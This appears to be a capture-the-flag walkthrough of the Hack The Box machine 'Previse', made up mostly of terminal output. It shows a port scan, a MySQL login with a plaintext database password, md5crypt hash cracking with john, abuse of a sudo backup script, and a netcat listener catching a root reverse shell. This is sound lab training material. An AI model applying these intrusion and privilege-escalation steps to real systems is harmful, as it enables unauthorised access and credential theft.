┌──(root💀kali)-[~/htb/Previse] └─# nmap -sC -sV -sT 10.10.11.104 -oN nmap.CVT Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-15 08:54 EDT Nmap scan report for 10.10.11.104 Host is up (0.60s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA) | 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA) |_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) | http-title: Previse Login |_Requested resource was login.php Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 80.49 seconds
<?php session_start(); if (!isset($_SESSION['user'])) { header('Location: login.php'); exit; } ?>
<?php if (!$_SERVER['REQUEST_METHOD'] == 'POST') { header('Location: login.php'); exit; }
///////////////////////////////////////////////////////////////////////////////////// //I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER// /////////////////////////////////////////////////////////////////////////////////////
www-data@previse:/var/www/html$ mysql -uroot -p mysql -uroot -p Enter password: mySQL_p@ssw0rd!:)
Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 5810 Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | previse | | sys | +--------------------+ 5 rows in set (0.00 sec)
mysql> use previse; use previse; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> show tables; show tables; +-------------------+ | Tables_in_previse | +-------------------+ | accounts | | files | +-------------------+ 2 rows in set (0.00 sec)
mysql> desc accounts; desc accounts; +------------+--------------+------+-----+-------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------+--------------+------+-----+-------------------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(50) | NO | UNI | NULL | | | password | varchar(255) | NO | | NULL | | | created_at | datetime | YES | | CURRENT_TIMESTAMP | | +------------+--------------+------+-----+-------------------+----------------+ 4 rows in set (0.00 sec)
┌──(root💀kali)-[~/htb/Previse] └─# john -format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt userhash Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ilovecody112235! (?) 1g 0:00:05:50 DONE (2021-08-16 07:03) 0.002855g/s 21171p/s 21171c/s 21171C/s ilovecodydean..ilovecody.. Use the "--show" option to display all of the cracked passwords reliably Session completed ┌──(root💀kali)-[~/htb/Previse] └─# cat userhash $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. ┌──(root💀kali)-[~/htb/Previse] └─#
System information as of Mon Aug 16 11:15:27 UTC 2021
System load: 0.1 Processes: 241 Usage of /: 49.4% of 4.85GB Users logged in: 0 Memory usage: 26% IP address for eth0: 10.10.11.104 Swap usage: 0%
0 updates can be applied immediately.
Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5 m4lwhere@previse:~$ pwd /home/m4lwhere m4lwhere@previse:~$ ls user.txt m4lwhere@previse:~$ cat user.txt ******************************** m4lwhere@previse:~$
System information as of Mon Aug 16 12:06:54 UTC 2021
System load: 0.0 Processes: 174 Usage of /: 49.4% of 4.85GB Users logged in: 0 Memory usage: 20% IP address for eth0: 10.10.11.104 Swap usage: 0%
0 updates can be applied immediately.
Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5 m4lwhere@previse:~$ sudo -l [sudo] password for m4lwhere: User m4lwhere may run the following commands on previse: (root) /opt/scripts/access_backup.sh m4lwhere@previse:~$
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
┌──(root💀kali)-[~] └─# nc -nvlp 8888 listening on [any] 8888 ... connect to [10.10.17.216] from (UNKNOWN) [10.10.11.104] 51322 root@previse:/tmp# id id uid=0(root) gid=0(root) groups=0(root) root@previse:/tmp# whoami whoami root root@previse:~# cd /root cd /root root@previse:/root# ls ls root.txt root@previse:/root# cat root.txt cat root.txt ************************ root@previse:/root#